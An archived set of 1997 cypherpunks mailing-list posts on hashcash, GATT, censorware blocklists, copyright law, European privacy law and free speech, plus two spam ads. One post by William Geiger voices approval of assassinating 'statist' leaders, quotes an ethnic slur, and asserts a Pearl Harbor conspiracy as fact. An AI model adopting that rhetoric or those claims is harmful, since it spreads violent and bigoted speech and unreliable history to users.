"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Dec 1997 05:28:46 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <v03102806b0bdff5466dc@[208.129.55.202]>
Message-ID: <199712182121.QAA04394@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102806b0bdff5466dc@[208.129.55.202]>, on 12/17/97 
   at 05:26 PM, Steve Schear <schear@lvdi.net> said:

>>On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
>>Yes, but if you just phase it in over time, what benefit, if any, will
>>users see until hashcash is fully deployed.  Until that time, people will
>>still have to accept email without hashcash or risk losing important
>>messages. 

>If I want to send an important message to you and I get a hashcash
>rejection reponse and I'm given a Web site where I can get a Java applet
>to create the hashcash, I'll do it.  We all know we must affix postage to
>our snailmail. Its time to embrace the postal system's paradigm and
>educate the reminder of the Net.  Those who risk missing an email or two
>will totally stop their SPAM. Those who won't, won't.

>>I don't see people adopting hashcash unless there is some intermediate
>>benefit to doing so.

>All we need is a small, influential, group to sing the praises of
>hashcash.  I'm sure Declan and Wired will pick up the banner if what we
>come up with works.  After that IETF activity is a far gone conclusion.

Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
based charges for everything done on the 'net. What will be next? FTP
sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
servers charging per lookup? Routers charging per packet?

Note: In Adams proposal for hashcash only charges the user CPU cycles. The
incentive for wide implementation of hashcash is going to be a real ecash
based system where the implementors can make $$$ off it.

All this talk of "educating" the user is scary. After the newspeak
translation: "Lets condition the sheeple to accept a metered rate Internet
even though they don't want it".

Hashcash is an evil worse than a 1000 Spamfords. I will not support
Hashcash now or in the future and will do my best to stop its spread. As a
matter of fact I plan on writtin Declan on this personaly. I also plan to
form a coalition to block any adoption of hashcash within the IETF. Hmmmmm
sounds like a good BOF for LA :)

This crap will do nothing but place an unnecessary burdon on users while
doing *nothing* to stop SPAM.

I have *PAID IN FULL* for my Inet usage!! What bits I send over the Inet,
how many bits I send, and who I send them to is NO ONE's BUSINESS but my
own!!! -- Last Anarchist of the Inet.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Dec 1997 05:52:49 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <v03102807b0be18de66e0@[208.129.55.202]>
Message-ID: <199712182128.QAA04459@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102807b0be18de66e0@[208.129.55.202]>, on 12/17/97 
   at 07:11 PM, Steve Schear <schear@lvdi.net> said:

>At 7:14 PM -0200 12/18/1997, Vicente Silveira wrote:
>>Adam Shostack wrote:
>>> 
>>> Jim Burnes wrote:
>>> 
>>> | >      http://jya.com/ellisdoc.htm
>>> |
>>> | Can patents be revoked due to prior art arguments?
>>> 
>>>         I think its a really bad precedent to revoking patents based
>>> on the basis of secret documents released after the fact.  If you
>>> believe in patents, then having your work nullifiable by government
>>> claims is a bad idea.
>>> ...
>>
>>Maybe in the future this could be possible ... Let's say that
>>NSA does hashes of all their scientific papers and timestamp
>>them with some third party recognized company. This way NSA would
>>be able to prove that they had an original idea even if they claim
>>this only after someone else has reinvented it.

>I believe the GATT we signed prohibits so-called submarine patents which
>are  filed or issued significantly after their date of inception,
>frequently due to delaying tactics by the filer in the patent office.  If
>so, no gov't newly filed claims should affect the issued patents.

Fuck GATT!!

This is one of the reasons that I opposed GATT as it subverts the
Constitutional powers of Congress to International bodies that I had no
say in electing!! (even if I did I don't want some fuckup from the UN or
the EEO determining US law.)

Do not take this as an advocacy for submarine patents, as it is not.

Personally I hope that the patent issue will be a big enough of one to
piss Washington off enough to pull out of GATT!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Dec 1997 06:05:10 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re:
In-Reply-To: <0sqwHe3w165w@bwalk.dm.com>
Message-ID: <199712182152.QAA04664@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <0sqwHe3w165w@bwalk.dm.com>, on 12/18/97 
   at 07:20 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>"William H. Geiger III" <whgiii@invweb.net> writes:
>>
>> In <Sl1u95tNr9A0n4yGHAxIPQ==@bureau42.ml.org>, on 12/18/97
>>    at 05:36 AM, bureau42 Anonymous Remailer <nobody@bureau42.ml.org> said:
>>
>> >When is Klintonkov running again? Why not?! He doesn't pay any attention
>> >to the other amendments!
>>
>> Oh I am sure the rat bastard would like nothing more than to be another
>> Franklin "Dictator for Life" Roosevlet. He has already show that he is
>> just as much a socialist and has the same disrespect for the Constitution.

>Bill, while I intensely dislike FDR's politics, he was nowhere near the
>kind of crook and murderer that Slick Willy is.

>FDR tried to pack the Supreme Court - this ain't nice, but it's just
>politics. What did he do that could compare to peddling plots on the
>Arlington nat'l Cematary to political contributors (that later get dig up
>and reburied :-) or to Waco?

Dimitry,

While I despise the current thieving murders in power (ALL 3 Branches),
they look like ametures when compared to the criminals in power during the
FDR dictatorship.

FDR did much more damage to the Constitution than most realize: price
controls, TVA, rations, socialist policies to "fix" the depression,
Japanese and Italian internment camps, imprisonment of political
opponents, suppresion of the press, ... etc.

As far as a murder FDR is responsible for more American deaths than any
other President with the exception of the butcher Lincoln (all such
statist should die that way) not to mention the 1,000's of Jews he let die
because he didn't want any "filthy kikes" immigrating to the US. Oh let's
not forget the men and women at Perl Harbor and in the other Pacific
Islands that were offered up as sacrificial lambs so he could turn the
sheeple in favor of a war they otherwise would not have supported.

FDR was a statist pig no better than the other statist pigs that waged war
against the people of the world in the 30's and 40's.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Dec 1997 07:58:56 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Censorware Search Engine update and request for files
In-Reply-To: <199712182329.SAA05550@users.invweb.net>
Message-ID: <Pine.GSO.3.95.971218153509.5527I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



CyberSitter now blocks part of the CSE URL ("/spoofcentral/"), if I
remember properly. Of course it also blocks any other site that has the
word "spoofcentral" as part of the URL. Talk about shotgun-style
approaches.

CyberPatrol's "boa" blocking is abbreviated. I think the cgi script is
used for our bulletin board discussion areas, usually devoted to such
purient topics as the First Pooch.

> CyberPatrol:
>     http://binone.pathfinder.com/cgi-bin/boa SexActs
[...]
> An intriguing side note is that ALL these groups considers their Censor
> Lists to be IP. Add that with the new Criminalization of copyright
> infringement and we may see Declan sharing a cell with Jim Bell. :)

They already tried. See:
  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html



                          To Milburn's mind, our act of revealing the
truth
                     about his company's product was, literally, criminal.
In
                     August, he told us that he had asked the U.S.
Department
                     of Justice to launch a criminal investigation into
the
                     publication of our article. He was particularly upset
with
                     one paragraph that included a fragment of his
database
                     demonstrating that CyberSitter expressly bans info
about
                     gay society and culture. 

                         He wrote: "Your willful reverse engineering and
                     subsequent publishing of copyrighted source code is a
                     clear violation of US Copyright law. While we would
                     easily prevail in a civil court in seeking damages...
we will
                     seek felony criminal prosecution under 17 USCS sect
                     503(a) of the Copyright Act, and are preparing
                     documentation to submit with the criminal complaint
to
                     FBI (sic)." 


-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "LiveUpdate News" <update@liveupdate.com>
Date: Fri, 19 Dec 1997 08:24:28 +0800
To: <cypherpunks@toad.com>
Subject: Crescendo News - Version 3.0 now available
Message-ID: <199712190010.QAA00634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



You're receiving this email because you downloaded Crescendo in the
past, and we want to keep you posted on the latest developments here 
at LiveUpdate.  We hope you are enjoying Crescendo!  In case you
haven't already heard, Crescendo version 3.0 has been released.  This
new version includes cool new features like auto-detach, playlist 
support, encryption, Java and JavaScript programmability and more.
Download a copy today from http://www.liveupdate.com/dl.html.

As an added bonus at this time of release, and to ensure an enjoyable 
listening experience, we can now offer you, for a limited time, the 
Roland Virtual Sound Canvas Music Pack (VSC-550W). This is Roland's 
software wavetable Sound Canvas and includes a complete set of 
software tools that will help you create and edit MIDI files for many 
uses. Included in the VSC-550W Music Pack:
    * The Roland GS software synthesizer, 
    * Cakewalk Express music sequencing software and 
    * DoReMiX unique music creation software 
all on one CD-ROM.

The Roland Virtual Sound Canvas Music Pack sells regularly for $57.  
Add Crescendo PLUS for Netscape and Internet Explorer, and the 
entire package is worth almost $100. 

By special arrangement with Edirol Corporation (distributors of the
Roland Sound Canvas in North America), when you purchase the Crescendo
Plus Roland Edition today, you will receive all the above software 
listed for a special value price of only $65 (including Shipping & 
Handling!)  Note: This offer is only available to addresses
in North America.

Simply go to http://www.liveupdate.com/soundcanvas.html and we'll send
it right out to you!

If you wish to be removed from this list, please send a message
to newsletter@liveupdate.com.

Warmest holiday wishes,

Your friends at LiveUpdate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Fri, 19 Dec 1997 05:42:15 +0800
To: cypherpunks@cyberpass.net
Subject: Draft book on European data privacy law
Message-ID: <199712182137.QAA08701@mail2.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



Greetings:

        Although not specifically on crypto, we have a draft book on my web
site that might be of interest to readers of the list.  The book will be
published by the Brookings Institution in 1998, and is entitled "None of
Your Business: World Data Flows, Electronic Commerce, and the European
Privacy Directive."  The focus of the book is on the effect of the European
Data Protection Directive, which goes into effect in October 1998.

        The book is available from www.osu.edu/units/law/swire.htm.

        I've been around this list long enough to know how much many
contributors hate laws and regulations that govern how data is supposed to
flow from one place to another.  The European privacy laws are real and
quite stringent in many respects, so you may, despite your visceral
distaste, want to learn more about them.

        Of particular interest to people here may be Chapter Four: "The
Tension Between Data Protection and Modern Information Technologies."  I am
already aware of a couple of glitches in the draft, such as the definition
of an Intranet.  But I would be very interested in comments on this or other
chapters.

        To give a sense of the book's coverage, I am enclosing the draft
table of contents.

        Thanks for any comments you may have.  I'm doing a big rewrite
during the next several weeks.

        Peter Swire
==========================

	CHAPTER ONE:  INTRODUCTION

A.	"None of Your Business."
B.	Some Reasons for Data Protection Laws.
C.	Overview of the Book.

	CHAPTER TWO:  THE LEGAL CONTEXT
	[not included in this interim report]

A.	Comparing the European and American Approaches to Privacy.
B.	Provisions of the Directive.

	CHAPTER THREE:  PREPARING TO ASSESS THE TRANSBORDER
	EFFECTS OF THE DIRECTIVE

A.	Defining the Baselines: What are the Trans-border Effects of the Directive?
B.	Why What is Legal Under the Directive Matters.

	CHAPTER FOUR:  THE TENSION BETWEEN DATA PROTECTION
	AND MODERN INFORMATION TECHNOLOGIES

A.	Mainframes.
	1.	Transborder Data Flows.
	2.	Compliance by Mainframes.
	3.	Contracts and Codes of Conduct for Mainframes.
B.	Client/Server Systems, Intranets, and Extranets.
	1.	Client/Server Architecture.
	2.	Intranets.
	3.	Extranets.
C.	Internet: E-mail, Telecopies, and the Web.
	1.	Electronic Mail.
	2.	Telecopies.
	3.	The Web.
D.	Bringing Laptops or Personal Organizers Out of Europe.
E.	The Hardware and Software Industries and the Level of Electronic Commerce.
F.	Summary of Effects on Information Technologies.


	CHAPTER FIVE:  ISSUES AFFECTING A WIDE RANGE OF BUSINESSES
	AND OTHER ORGANIZATIONS

A.	Human Resources Records.
B.	Auditing and Accounting.
C.	Business Consulting.
D.	Call Centers and Other Worldwide Customer Service.
E.	Processing Permitted Under Article 7 but Not Article 26.
F.	Conclusion.

	CHAPTER SIX:  THE FINANCIAL SERVICES SECTOR

A.	Payments Systems.
B.	Sale of Financial Services to Individuals.
C.	Sale of Financial Services to Businesses.
	1.	Reinsurance.
	2.	Loan Participations.
D.	Investment Banking.
	1.	Market Analysis.
	2.	Hostile Takeovers.
	3.	Due Diligence.
	4.	Private Placements and Other Sales to Europeans.
	5.	Other Issues for European Companies Raising Money in the U.S.
E.	Mandatory Securities and Accounting Disclosures.
	1.	Legally Required Disclosures.
	2.	Disclosures Required by Accounting or Stock Exchange Rules.
	3.	Disclosures that are Not Strictly Required.
F.	Individual Credit Histories.
	1.	Providing Information to Credit Agencies or Sharing It Among Agencies.
	2.	Receiving Credit Reports.
G.	Corporate Credit Histories.

	CHAPTER SEVEN:  OTHER SECTORS WITH LARGE
	TRANSBORDER 	COMPONENTS

A.	The Press.
B.	Effects Generally on Non-Profit Organizations.
C.	International Educational Institutions.
D.	International Conferences.
E.	Effects on Non-European Governments.
F.	Research and Marketing for Pharmaceuticals and Medical Devices.
G.	Business and Leisure Travel.
	1.	Reservation Systems.
	2.	Frequent Flyer Miles and Other Affinity Programs.
H.	Internet Service Providers.
I.	Telephone Networks.
	1.	Calling Card Calls.
	2.	Enhanced Services, Including Caller ID.
	3.	Cellular Roaming.
	4.	The Proposed Telecommunications Directive.
J.	Retailing and Other Direct Marketing.
	1.	Traditional Direct Marketing--Catalogues and Customers Lists.
	2.	Direct Marketing and Electronic Commerce--Toward a "Market of One"?

	CHAPTER EIGHT:  CONCLUSION AND POLICY RECOMMENDATIONS

A.	Differing Information Cultures and the Dilemmas of Enforcement.
B.	Seeking to Resolve the Dilemmas: Some Policy Recommendations.
	1.	Sectors with Significant Privacy Legislation. 
	2.	Sectors with Functional Similarity.
	3.	Sectors Where Transfers Can and Should be Approved by Data Protection
Authorities. 
	4.  	Routine Transfers Where the Benefits Outweigh the Likely Privacy Harms. 
	5.	Clarification of the Article 26 Exceptions and Other Provisions. 
	6.	The Internet.
	7. 	The Political and Legal Process for Resolving Disputes.	
-------------------


Prof. Peter Swire
Ohio State University
College of Law
(614) 292-2547
mailto:swire.1@osu.edu
http://www.osu.edu/units/law/swire.htm (revised site now includes draft
      book on European Privacy Directive and Internet Privacy Page)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Dec 1997 07:45:28 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Search Engine update and request for files
In-Reply-To: <Pine.GSO.3.95.971218143713.5527C-100000@well.com>
Message-ID: <199712182329.SAA05550@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.971218143713.5527C-100000@well.com>, on 12/18/97 
   at 02:37 PM, Declan McCullagh <declan@well.com> said:

>Over at the Netly News Network, we've decided it's time to update our
>Censorware Search Engine. For those of you who haven't checked it
>recently, it's a one-of-a-kind web site that lets you see if you've been
>blocked by filtering software:

>  http://cgi.pathfinder.com/netly/spoofcentral/censored/

>We're planning to update this with newer decrypted lists from some of the
>vendors like SurfWatch, CyberPatrol, and so on. If you have a list and
>you'd like it to be included, please send it along.

Just out of curiousity I did a search on pathfinder.com :)

CyberPatrol:
    http://binone.pathfinder.com/cgi-bin/boa SexActs

CyberSitter:
    pathfinder.com

SurfWatch:
    http://bubblemouth.pathfinder.com/@@srbndqaaaaaaaeeg/vibe/archive/independant/blackspot
    http://mouth.pathfinder.com/@@srbndqaaaaaaaeeg/vibe/archive/independant/blackspot


No surprise that Cybersitter has the entire domain blocked. Odd the
SurfWatch blocks the archives for Vibe magazine yet does not block
www.vibe.com. The URL blocked by CyberPatrol is invalid.

There was someone who did this awhile back and promptly had his domain
blocked by these self appointed protectors of "Truth, Democracy, and The
American Way".

I was rather disappointed (though not surprised) watching the Censorship
Summit a couple of weeks ago that no one took these self appointed Censors
to task on the fact that they block sites not mearly on the type of
information contained (sex,drugs,violence,...ect) but also block based on
political content that disagrees with their own beliefs. Sure fire way to
get a site blocked is not to put "dirty" pictures up on it but to put up
anything that brings to light the actions of these groups.

An intriguing side note is that ALL these groups considers their Censor
Lists to be IP. Add that with the new Criminalization of copyright
infringement and we may see Declan sharing a cell with Jim Bell. :)


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: up@uplinkpro.com
Date: Fri, 19 Dec 1997 06:26:53 +0800
To: cypherpunks@Algebra.COM
Subject: Can't Find Your Web Site
Message-ID: <199712182222.RAA08218@athena.uplinkpro.com>
MIME-Version: 1.0
Content-Type: text/plain



     Can't find your web site?
     Uplink will post your site to 50 search engines for $89. 
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Unlock:The Information Exchange, Your WebScout, Manufacturers Information
Network, Net Happenings, Net Mall, Web World  Internet Directory, WebVenture
Hotlist, What's New, WhatUSeek, JumpLink, Linkcentre Directory, InfoSpace, Jayde
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ListOne World Plaza, PageHost A-Z, PeekABoo, Project Cool, Scrub The Web, Seven
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Phone: (203) 791-7351
Fax:     (203) 790-6407
E-mail: up@uplinkpro.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 19 Dec 1997 06:57:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.GSO.3.95.971218141400.5527A-100000@well.com>
Message-ID: <3.0.3.32.19971218175239.0376bc10@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:46 PM 12/18/97 -0700, Tim May wrote:
>"§ 1008. Prohibition on certain infringement actions
>
>"No action may be brought under this title alleging infringement 
>...based on the
>noncommercial use by a consumer of such a device or medium for making
>digital musical recordings or analog musical recordings. "
...
>The HRA places no limits on the numbers of such tapings. All that matters
>is that he is not selling or renting them out.

The N.E.T. Act redefines commercial gain to include if you exchange copies
of recordings with people.  Presumably if you and I were to trade CD's we
might be  engaged in commercial gain.  If we trade copies we definitely
appear to be financially gaining under the act's new definition.




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Dec 1997 08:23:18 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Search Engine update and request for files
In-Reply-To: <Pine.GSO.3.95.971218153509.5527I-100000@well.com>
Message-ID: <199712190010.TAA05961@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.971218153509.5527I-100000@well.com>, on 12/18/97 
   at 06:40 PM, Declan McCullagh <declan@well.com> said:

>CyberSitter now blocks part of the CSE URL ("/spoofcentral/"), if I
>remember properly. Of course it also blocks any other site that has the
>word "spoofcentral" as part of the URL. Talk about shotgun-style
>approaches.

>CyberPatrol's "boa" blocking is abbreviated. I think the cgi script is
>used for our bulletin board discussion areas, usually devoted to such
>purient topics as the First Pooch.

>> CyberPatrol:
>>     http://binone.pathfinder.com/cgi-bin/boa SexActs
>[...]
>> An intriguing side note is that ALL these groups considers their Censor
>> Lists to be IP. Add that with the new Criminalization of copyright
>> infringement and we may see Declan sharing a cell with Jim Bell. :)

>They already tried. See:
>  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html

I wonder if we can't turn the tables on him an file both civil and
criminal fraud chrages against him. Last time I looked it was still
illegal to sell an apple and deliver an orange even if you convice the
buyers that it is an apple. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 19 Dec 1997 08:16:04 +0800
To: "William H. Geiger III" <schear@lvdi.net>
Subject: Lions and Tigers and Micromoney, Oh, My...
In-Reply-To: <v03102806b0bdff5466dc@[208.129.55.202]>
Message-ID: <v04002738b0bf55d6835c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:21 pm -0500 on 12/18/97, William H. Geiger III wrote:


> Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
> based charges for everything done on the 'net. What will be next? FTP
> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
> servers charging per lookup? Routers charging per packet?

Yup, and you'll like it too. Especially if it efficiently prices
net.resources so well that the cost of "administering" and "controlling"
them disappears, well past the last basis point compared to our current
network resource "allocation" scheme, with time-based fixed pricing,
"peering" agreements, etc. ...

For details of the foundations of this, cf Kevin Kelly's "Out of Control",
or any e$ rant I've written in the past few years. Remember my joke about a
router which saves enough out of operations to buy a copy of itself?
Micromoney mitochondria, picomoney processor food, and so forth... Look,
Ma, no (human) hands...


> Note: In Adams proposal for hashcash only charges the user CPU cycles. The
> incentive for wide implementation of hashcash is going to be a real ecash
> based system where the implementors can make $$$ off it.

Yup. Money's fungible, and all that. In collision algorithms like hashcash
and MicroMint, you're effectively using computation time as copy protection
on unique digital objects, but *only* for that, like you're only using the
cost of intaglio printing to create unique paper bearer certificates,
dollar bills being a good example. You still have to add *value* to those
unique objects, and for that you need a market to set a price. (Sorry, Adam)

The parallels are even greater for things like hashcash, or at least
MicroMint. Like real coins in meatspace, the first collision-coin's
expensive to "mint", but the rest are vanishingly cheap. However, you *do*
want to make them to be worth something besides cycle time. That's because
the cost of anything is the foregone alternative, and all that. If you
don't attach fair value to unique useful items, someone else will and start
arbitraging them anyway. Ticket scalpers are a classic case of this. Might
as well get into the business explicitly instead of creating it for someone
else, I figure.

Anyway, all this fun with money requires, horrors, an actual financial
intermediary. Yet another private currency, in other words. Probably whole
bunches of them, I bet, all competing to fill each available market niche.
CryptoAnarchy, MarketEarth, Geodesic Economy, whatever...

> I have *PAID IN FULL* for my Inet usage!! What bits I send over the Inet,
> how many bits I send, and who I send them to is NO ONE's BUSINESS but my
> own!!! -- Last Anarchist of the Inet.

Sounds more like an industrio-socialist, to me. :-). Naw... Just pulling
your leg. Put your Glock away...

Seriously, I can't imagine fixed prices for *anything* once we have
instantaneously settled cash auction markets for anything you can send down
a wire. Fixed pricing is an artifact of long production runs,
hierarchically organized "economies of scale", and all that. Moore's "Law"
creates diseconomies of scale, particularly for information goods and
services on a public network. Nodes become cheaper compared to lines, which
gives you geodesic networks instead of hierarchical ones, all that stuff.
The, um, net, result is auction pricing and cash settlement. Not will you
pay in full, Mr. Geiger, but you'll pay cheaper, too. :-). Lots cheaper, I
bet...

If you could have cash-on-the-routerhead packet switching, it would behoove
each router to have as many connections as possible to sell it's services
down. You get a *more* geodesic network. That means lots of smaller routers
instead of Forbin-sized ones that we're trying to build now. Frankly,
super-routers are lost cause. No switch can monopolize the traffic, or
it'll choke and the network will route around it. That's the nice thing
about Moore's "Law" on the net.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 10:44:42 +0800
To: David Honig <bd1011@hotmail.com>
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <v03102804b0bf2f0944f7@[207.167.93.63]>
Message-ID: <v03102809b0bf802452f9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:54 PM -0700 12/18/97, David Honig wrote:

>I was alluding to the licensing of ordinary photocopiers and fax machines
>(and computers,
>and now internet connections) in statist nations, to prevent their "misuse".
>In the 50's, the government should have
>(from the control point of view) used the hysteria of the times to regulate
>*domestic* use of reprogrammable computers.

Nope. The government of the United States had no authority in the 1950s to
regulate fax machines (which existed then), mimeograph machines (which
existed then), or computers (which existed then).

Perhaps you were thinking of the Soviet Union?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Dec 1997 08:23:18 +0800
To: cypherpunks@toad.com
Subject: Freedom Forum report on the State of the First Amendment
Message-ID: <v03007801b0bddf5a7151@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



On Tuesday I stopped by the Freedom Forum's conference, where they released
a report on the state of the First Amendment. It's worth checking out:

  http://www.freedomforum.org/newsstand/reports/sofa/intro.asp

	Each day of this nation's life, in meetings of school boards,
	library boards, city councils, state legislatures, and Congress
	itself, figures of respect and renown rise on behalf of a
	supportive public and proclaim, "I believe in the First
	Amendment, but&#151;" Each such announcement precedes a proposal
	to regulate our speech in order to elevate our lives.

	And so we have one of the more equisite ironies of a
	freedom-loving society: Americans truly believe they believe in
	free speech. Still, there is always that "but," that
	qualification of their commitment to the rights and values
	embedded in those 45 words of the First Amendment. In survey
	after survey, Americans stand steadfast in support of the general
	notion of free speech. In the particulars, however, we waver.
	When asked to countenance the very speech the First Amendment was
	drawn to protect&#151;the speech of the radical, the rascal, even
	the revolting&#151;we become unsure. We do believe in free speech
	for ourselves, but for the most part we are not so sure about
	others, especially those whose words offend our taste, threaten
	our children, or challenge our convictions.

Also at the conference:

   http://www.freedomforum.org/first/1997/12/16sofa.asp

   Keynote speaker Keen Umbehr told the audience that he lost his job,
   his community and even family and friends during his First Amendment
   battle with the county commission in Wabaunsee County, Kansas.

   Umbehr, who had a contract to haul the county's trash, also wrote
   editorials for the local newspaper, often alleging violations of law
   and other misconduct by the county commission. "What I wrote was true,
   and I could back it up," Umbehr said. "I believed that my
   constitutional rights were live and real, waiting to be activated. I
   felt that writing articles and speaking out about the government not
   only was my right, it was my duty to speak the truth, regardless of
   the fact that my whole livelihood was based on that county contract."

   The county terminated his contract in retaliation for his articles.
   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
   In June 1996 the court upheld Umbehr's free-speech rights.

   "The troops on the front lines of the First Amendment fight
   desperately need some help," Umbehr told the audience of attorneys,
   scholars and experts. "You have the knowledge in here, and they need
   it out there."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 11:16:29 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v03007801b0bddf5a7151@[168.161.105.216]>
Message-ID: <v0310280ab0bf85cba6f6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:46 PM -0700 12/18/97, Declan McCullagh wrote:

>   Keynote speaker Keen Umbehr told the audience that he lost his job,
>   his community and even family and friends during his First Amendment
>   battle with the county commission in Wabaunsee County, Kansas.
>
>   Umbehr, who had a contract to haul the county's trash, also wrote
>   editorials for the local newspaper, often alleging violations of law
>   and other misconduct by the county commission. "What I wrote was true,
>   and I could back it up," Umbehr said. "I believed that my
>   constitutional rights were live and real, waiting to be activated. I
>   felt that writing articles and speaking out about the government not
>   only was my right, it was my duty to speak the truth, regardless of
>   the fact that my whole livelihood was based on that county contract."
>
>   The county terminated his contract in retaliation for his articles.
>   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
>   In June 1996 the court upheld Umbehr's free-speech rights.

This is part of why the First Amendment is being eroded constantly. It is
seen as a _political_ issue.

The role of the _county_ in hiring or not hiring Keen Umbehr is
problematic, but not because of prior restraint issues.

